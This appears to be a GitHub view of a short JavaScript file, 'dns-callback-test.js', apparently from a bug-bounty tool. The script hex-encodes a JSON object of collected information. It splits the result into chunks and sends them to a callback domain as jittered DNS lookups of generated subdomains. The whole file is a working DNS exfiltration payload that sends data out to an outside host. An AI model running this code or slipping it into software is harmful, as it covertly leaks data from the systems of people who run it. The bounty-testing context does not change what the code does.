-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdns-callback-test.js
More file actions
25 lines (20 loc) · 969 Bytes
/
Copy pathdns-callback-test.js
File metadata and controls
25 lines (20 loc) · 969 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const CALLBACK_URL = 'https://deepbounty.domain.com/cb/123e4567-e89b-12d3-a456-426614174000';
function sendDnsPayload() {
try {
const parsed = new URL(CALLBACK_URL);
const baseDomain = "dns." + parsed.hostname;
const uuidLabel = (parsed.pathname.split('/').filter(Boolean).pop() || 'cb').replace(/[^a-zA-Z0-9]/g, '');
const hexPayload = toHex(JSON.stringify(info));
const chunks = hexPayload.match(/.{1,50}/g) || [];
if (!chunks.length || !baseDomain) return;
chunks.forEach((chunk, index) => {
// Reconstruct hostname: index-total.uuid.chunk.domain
const hostname = `${index}-${chunks.length}.${uuidLabel}.${chunk}.${baseDomain}`;
// Jitter requests to avoid flooding local resolver
setTimeout(() => {
dns.lookup(hostname, (err) => { /* ignore result */ });
}, index * 200);
});
} catch (e) { }
}
sendDnsPayload();